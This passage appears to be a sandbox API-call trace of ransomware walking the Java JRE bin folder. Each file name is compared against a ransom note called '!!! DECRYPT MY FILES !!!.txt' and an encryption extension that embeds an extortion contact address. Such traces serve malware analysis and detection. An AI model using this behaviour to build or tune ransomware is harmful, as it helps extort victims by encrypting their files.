lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.709] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="keytool.exe", cAlternateFileName="")) returned 1 [0116.709] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe", len=0x32 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 1 [0116.709] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe", cchLength=0x32 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe") returned 0x32 [0116.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.709] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.709] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.709] GetProcessHeap () returned 0x630000 [0116.709] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1340, Size=0x14) returned 0x6b0338 [0116.709] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="kinit.exe", cAlternateFileName="")) returned 1 [0116.710] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe", len=0x30 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 1 [0116.710] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe", cchLength=0x30 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe") returned 0x30 [0116.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.710] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.710] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.710] GetProcessHeap () returned 0x630000 [0116.710] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0338, Size=0x18) returned 0x6b0178 [0116.710] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0116.710] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe", len=0x30 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 1 [0116.710] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe", cchLength=0x30 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe") returned 0x30 [0116.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.710] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.711] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.711] GetProcessHeap () returned 0x630000 [0116.711] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0178, Size=0x1c) returned 0x6e8fe0 [0116.711] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="ktab.exe", cAlternateFileName="")) returned 1 [0116.711] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe", len=0x2f | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 1 [0116.711] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe", cchLength=0x2f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe") returned 0x2f [0116.711] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.711] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.711] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.711] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.711] GetProcessHeap () returned 0x630000 [0116.711] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x20) returned 0x6e9008 [0116.711] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x0, dwReserved1=0x0, cFileName="lcms.dll", cAlternateFileName="")) returned 1 [0116.712] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll", len=0x2f | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 1 [0116.712] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll", cchLength=0x2f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll") returned 0x2f [0116.712] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.712] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.712] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.712] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.712] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.dll", cAlternateFileName="MANAGE~1.DLL")) returned 1 [0116.712] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 1 [0116.712] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll", cchLength=0x35 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll") returned 0x35 [0116.712] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.712] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.712] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.712] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.713] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9fa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlib_image.dll", cAlternateFileName="MLIB_I~1.DLL")) returned 1 [0116.713] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 1 [0116.713] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll", cchLength=0x35 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 0x35 [0116.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.713] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.713] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.713] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa12a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0116.713] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll", len=0x33 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 1 [0116.713] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll", cchLength=0x33 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 0x33 [0116.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.714] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.714] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.714] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0116.714] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll", len=0x33 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 1 [0116.714] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll", cchLength=0x33 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 0x33 [0116.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.714] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.714] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.714] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0116.714] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll", len=0x33 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 1 [0116.714] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll", cchLength=0x33 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 0x33 [0116.715] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.715] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.715] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.715] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.715] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.dll", cAlternateFileName="")) returned 1 [0116.815] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll", len=0x2e | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 1 [0116.815] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll", cchLength=0x2e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll") returned 0x2e [0116.815] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.815] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.887] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.887] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.887] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xec40, dwReserved0=0x0, dwReserved1=0x0, cFileName="nio.dll", cAlternateFileName="")) returned 1 [0116.888] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll", len=0x2e | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 1 [0116.888] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll", cchLength=0x2e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll") returned 0x2e [0116.888] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.888] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.888] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.888] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.888] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="npt.dll", cAlternateFileName="")) returned 1 [0116.888] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll", len=0x2e | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 1 [0116.888] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll", cchLength=0x2e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll") returned 0x2e [0116.888] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.888] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.888] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.889] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.889] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="orbd.exe", cAlternateFileName="")) returned 1 [0116.889] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe", len=0x2f | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 1 [0116.889] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe", cchLength=0x2f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe") returned 0x2f 